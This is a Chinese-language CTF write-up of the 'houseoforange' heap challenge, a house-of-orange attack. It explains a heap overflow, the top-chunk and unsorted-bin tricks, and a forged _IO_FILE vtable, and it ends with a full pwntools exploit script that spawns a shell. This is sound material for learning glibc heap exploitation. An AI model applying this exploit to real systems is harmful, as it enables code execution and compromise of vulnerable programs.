[*] '/home/supergate/Desktop/Pwn/houseoforange'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
保护全开
IDA查看程序逻辑后发现是一个菜单题,但是只提供了create, show, edit功能,我们没有办法free掉一个堆块从而利用一些常见的漏洞。
经过分析后可以知道,漏洞点主要存在于edit函数,由于没有对输入的size进行判断,会导致读入任意长的数据,导致堆溢出。
大致思路为:
top_chunk->size
top_chunk->size
大的chunk,导致函数sysmalloc()
被调用来分配新的内存,而之前的top_chunk(下面记为old_chunk)将被free到unsortedbin中。p
。old_chunk会被分为两部分,第一部分就是chunk p
,由于请求的chunk的size处于largebin范围,则第一部分在从old_chunk分出来之后就会被放到largebin,然后再被取出来当作chunk p
。而这个largechunk的fd_nextsize和bk_nextsize中会存放自身的地址,通过这就可以泄露出堆地址。由于malloc不会清空内容,通过控制输入的name的长度可以覆盖截断字符,从而分别泄露libc地址和heap地址。接下来是对详细过程的解释
我们知道一开始的时候,整个堆都属于 top chunk,每次申请内存时,就从 top chunk 中划出请求大小的堆块返回给用户,于是 top chunk 就越来越小。
当某一次 top chunk 的剩余大小已经不能够满足请求时,就会调用函数 sysmalloc()
分配新内存,这时可能会发生两种情况:
具体调用哪一种方法是由 申请大小决定的,为了能够使用前一种扩展 top chunk,需要请求小于阀值mp_.mmap_threshold
。如果申请的大小小于这个阀值的话,就会扩展top chunk,将old top chunk free掉。这样的话我们可以利用堆溢出,在unsortedbin上构造出一个chunk(即被free掉的old top chunk)。
思路中的第三条阐述的比较详细了,这里就不再赘述。
如果确实没有读懂,可以跟着gdb调一调。
主要还是明白malloc不会清空原本chunk中的内容。
回顾一下_IO_FILE结构体
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
IO_file结构体外面还被一个IO_FILE_plus结构体包裹着,其定义如下
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}
我们都知道vtable域指向的是一个函数表,他保存了一些重要函数的函数指针:
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
同时,当glibc检测到一些内存崩溃问题时,会进入到Abort routine(中止过程),他会把所有的streams送到第一阶段中(stage one)。而这个过程中,程序会调用_IO_flush_all_lockp函数,并会使用_IO_list_all变量。
函数大致调用链
mallloc_printerr-> __libc_message—>abort->flush->_IO_flush_all_lock->_IO_OVERFLOW
而_IO_OVERFLOW最后会调用vtable表中的__overflow 函数
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
因此,我们只要劫持_IO_overflow
函数为system函数,并且将参数FP
修改为/bin/sh
即可getshell。
_IO_flush_all_lockp源码:
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)//遍历_IO_list_all
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查,需要绕过*/
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)/* 选出_IO_FILE作为_IO_OVERFLOW的参数,执行函数*/
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
return result;
}
通过unsortedbin attack,我们就可以修改_IO_list_all指向的地址为main_arena+88
,这样在下一次malloc的时候就会失败,从而调用mallloc_printerr
。
_IO_list_all修改为main_arena+88后,由于_IO_list_all中的 *chain指针位于 _IO_list_all + 0x68的位置,也就是 main_arena + 88 + 0x68-->small bin中大小为0x60的位置
,所以之前将old top chunk的size修改为0x60,old top chunk就会链入small bin中,这时就可以将伪造的file结构链入IO_all_list中,那么在上述_IO_flush_all_lockp函数中的第二次循环时fp就能指向伪造的file结构。
同时,将构造的file的vtable指向伪造的vtable处,就能够达到调用system函数的效果了。
要注意,上面我们构造的file结构体和vtable都是在堆中构造的(这很显然,因为我们只能随意控制堆中的内容)。
最终,构造完成的结构体应该长这个样子
pwndbg> p *((struct _IO_FILE_plus *)0x555555758ac0)
$1 = {
file = {
_flags = 1852400175, //hex of '/bin/sh\x00'
_IO_read_ptr = 0x60 <error: Cannot access memory at address 0x60>,
_IO_read_end = 0x0,
_IO_read_base = 0x7ffff7dd2510 "", //_IO_list_all
_IO_write_base = 0x0,
_IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
//_IO_write_ptr和_IO_write_base检测的bypass
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x555555758b98
}
pwndbg> p *((struct _IO_FILE_plus *)0x555555758ac0).vtable
$2 = {
__dummy = 93824994347928,
__dummy2 = 0,
__finish = 0x0,
__overflow = 0x7ffff7a52390 <__libc_system>,
__underflow = 0x0,
__uflow = 0x0,
__pbackfail = 0x0,
__xsputn = 0x0,
__xsgetn = 0x0,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x0,
__read = 0x0,
__write = 0x0,
__seek = 0x0,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}
from pwn import *
context.log_level='debug'
#p = process(['./houseoforange'],env={"LD_PRELOAD":"./libc64-2.19.so"})
p=process('./houseoforange')
#p=remote('111.198.29.45',50959)
elf=ELF('./houseoforange')
#libc=ELF('./libc64-2.19.so')
libc=ELF('./libc.so.6')
gdb.attach(p,"b *0x5555555553D0\n")
def create(size,name,price,color):
p.sendlineafter(": ","1")
p.sendlineafter(":",str(size))
p.sendafter(":",name)
p.sendlineafter(":",str(price))
p.sendlineafter(":",str(color))
def show():
p.sendlineafter(": ","2")
p.recvuntil(": ")
def edit(size,name,price,color):
p.sendlineafter(": ","3")
p.sendlineafter("name :",str(size))
p.sendafter("Name:",name)
p.sendlineafter("Price of Orange: ",str(price))
p.sendlineafter("Color of Orange: ",str(color))
create(0x400-0x10,"aaa",12,4)
payload='a'*(0x400-0x10)+p64(0)+p64(0x21)+p64(0)*2
payload+=p64(0)+p64(0xbc1)
edit(0x430-0x10,payload,12,4)
create(0xc00-0x10,"bbb",12,4)
create(0x600-0x10,"cccccccc",12,4)
show()
p.recvuntil("cccccccc")
libc.base=u64(p.recv(6).ljust(8,'\x00'))-1560-0x3C4B20#0x3BE760
log.info("libc_base =======> %x"%libc.base)
edit(0x600-0x10,"c"*0x10,12,4)
show()
p.recvuntil("c"*0x10)
heap_addr=u64(p.recv(6).ljust(8,'\x00'))
log.info("heap_addr =======> %x"%heap_addr)
list_all_addr=libc.base+libc.symbols['_IO_list_all']
system_addr=libc.base+libc.symbols['system']
payload='a'*(0x600-0x10)+p64(0)+p64(0x21)+p64(0)*2
payload+='/bin/sh\x00'+p64(0x60)+p64(0)+p64(list_all_addr-0x10)
payload+=p64(0)+p64(1)
payload=payload.ljust(0x600-0x10+0x20+0xd8,'\x00')
payload+=p64(heap_addr+0x6f8)+p64(0)*2+p64(system_addr)
edit(len(payload),payload,12,4)
p.recv()
p.sendline("1")
p.interactive()